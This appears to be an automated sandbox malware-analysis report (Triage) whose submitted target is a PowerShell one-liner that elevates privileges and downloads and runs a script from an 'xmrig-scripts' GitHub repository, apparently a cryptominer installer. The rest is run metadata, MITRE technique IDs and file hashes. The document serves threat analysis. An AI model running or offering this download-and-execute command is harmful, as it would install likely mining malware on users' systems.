hxxp://start-process PowerShell -verb runas irm hxxps://raw[.]githubusercontent[.]com/Lachine1/xmrig-scripts/main/windows[.]ps1 | iex | Triage

Analysis

max time kernel
1805s
max time network
1791s
platform
android_x64
resource
android-x64-arm64-20240624-en
resource tags

androidarch:armarch:arm64arch:x64arch:x86image:android-x64-arm64-20240624-enlocale:en-usos:android-11-x64system
submitted
27-06-2024 11:27

Sharing

Report Analysis Logs

General

Target

http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

Score

1^/10

Malware Config

Signatures

Checks CPU information 2 TTPs 1 IoCs

T1633.001

T1426

Processes:

com.android.chrome

description ioc process

File opened for read /proc/cpuinfo com.android.chrome
Checks memory information 2 TTPs 1 IoCs

T1633.001

T1426

Processes:

com.android.chrome

description ioc process

File opened for read /proc/meminfo com.android.chrome

com.android.chrome
1⤵
- Checks CPU information
- Checks memory information
PID:4255

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

files/dom-0.html
Filesize
151KB

MD5
37f043566edd49376db273b3d82be833

SHA1
69e7e37007441085466c388bbdb5c5eb733aca1e

SHA256
17a0f2d20a99019941ab161dc8d98693d5c402bdaa44e31e670093133cf6f42d

SHA512
e0ef1539d521b5a20ef0085756f8b9de1055c9f3bf650fee8b806596134dacc13b19ab7032ce66afa1379e93cd780e814bf6b4d0a080dea7ff786d5796a95028

Download Submit